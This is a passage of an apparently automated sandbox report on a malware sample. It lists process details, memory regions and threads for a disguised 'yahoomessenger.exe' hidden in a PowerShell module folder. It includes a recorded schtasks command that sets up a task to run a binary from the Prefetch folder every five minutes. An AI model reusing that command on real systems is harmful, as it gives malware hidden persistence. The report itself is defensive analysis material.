(x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe" page_root = "0x3e1eb000" os_pid = "0xc40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4093 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4094 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4095 start_va = 0x120000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 4096 start_va = 0xda0000 end_va = 0xe77fff monitored = 1 entry_point = 0xe6f1ee region_type = mapped_file name = "yahoomessenger.exe" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe") Region: id = 4097 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4098 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4099 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4100 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4101 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4102 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4103 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4104 start_va = 0x220000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4105 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4106 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4107 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4108 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4109 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4110 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4111 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4112 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4113 start_va = 0x410000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 4114 start_va = 0x490000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 4627 start_va = 0x590000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 4628 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4629 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4630 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4631 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4632 start_va = 0x750000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 4633 start_va = 0x590000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 4634 start_va = 0x6d0000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4635 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5116 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5117 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5118 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5119 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5120 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5121 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5153 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5154 start_va = 0x750000 end_va = 0x8d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 5155 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 5156 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5157 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5158 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5462 start_va = 0x940000 end_va = 0xac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 5463 start_va = 0xe80000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e80000" filename = "" Region: id = 5464 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5465 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5466 start_va = 0x220000 end_va = 0x2f0fff monitored = 1 entry_point = 0x2ef1ee region_type = mapped_file name = "yahoomessenger.exe" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe") Region: id = 5467 start_va = 0x310000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 5468 start_va = 0x220000 end_va = 0x2f0fff monitored = 1 entry_point = 0x2ef1ee region_type = mapped_file name = "yahoomessenger.exe" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe") Region: id = 5469 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5574 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5575 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5576 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5577 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5578 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5700 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5825 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5826 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5827 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 6229 start_va = 0x7fe91ee0000 end_va = 0x7fe91eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 6230 start_va = 0x7fe91ef0000 end_va = 0x7fe91f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ef0000" filename = "" Region: id = 6231 start_va = 0x7fe91f80000 end_va = 0x7fe91feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f80000" filename = "" Region: id = 6232 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 6233 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 6234 start_va = 0xad0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 6235 start_va = 0x220000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 6240 start_va = 0xc90000 end_va = 0xd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 6241 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 6242 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 6243 start_va = 0x2280000 end_va = 0x1a27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 6541 start_va = 0x1a280000 end_va = 0x1a5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a280000" filename = "" Region: id = 6542 start_va = 0x1a600000 end_va = 0x1a700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a600000" filename = "" Region: id = 6546 start_va = 0x1a900000 end_va = 0x1a9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a900000" filename = "" Region: id = 6547 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 6711 start_va = 0x1a740000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 6712 start_va = 0x1aa00000 end_va = 0x1aafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa00000" filename = "" Region: id = 6713 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 6730 start_va = 0x1ab00000 end_va = 0x1adcefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6731 start_va = 0x7feee920000 end_va = 0x7feeff1cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Thread: id = 184 os_tid = 0xc3c Thread: id = 270 os_tid = 0xdc8 Thread: id = 282 os_tid = 0xd6c Thread: id = 292 os_tid = 0xe44 Process: id = "43" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3e388000" os_pid = "0xccc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"winscpw\" /sc MINUTE /mo 5 /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3635 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3636 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3637 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3638 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3639 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3640 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3641 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3642 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3643 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3644 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3645 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3646 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3647 start_va = 0x280000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3648 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3649 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3650 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3651 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3652 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3653 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3654 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3655 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3656 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3657 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3658 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3659 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3660 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3661 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3662 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3663 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3664 start_va = 0xc0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3665 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3666 start_va = 0x3f0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3667 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3668 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3669 start_va = 0x4f0000 end_va = 0x677fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 3670 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3671 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3672 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3673 start_va = 0x680000 end_va = 0x800fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 3674 start_va = 0x810000 end_va = 0x1c0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 3675 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3676 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3677 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3678 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3679 start_va = 0x1c10000 end_va = 0x1edefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3680 start_va = 0x120000 end_va = 0x19cfff monitored = 0 entry_point = 0x12cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3681 start_va = 0x120000 end_va = 0x19cfff monitored = 0 entry_point = 0x12cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3682 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3683 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3684 start_va = 0x120000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3687 start_va = 0x1ee0000 end_va = 0x1fbefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ee0000" filename = "" Region: id = 3688 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3689 start_va = 0x2070000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 3690 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = 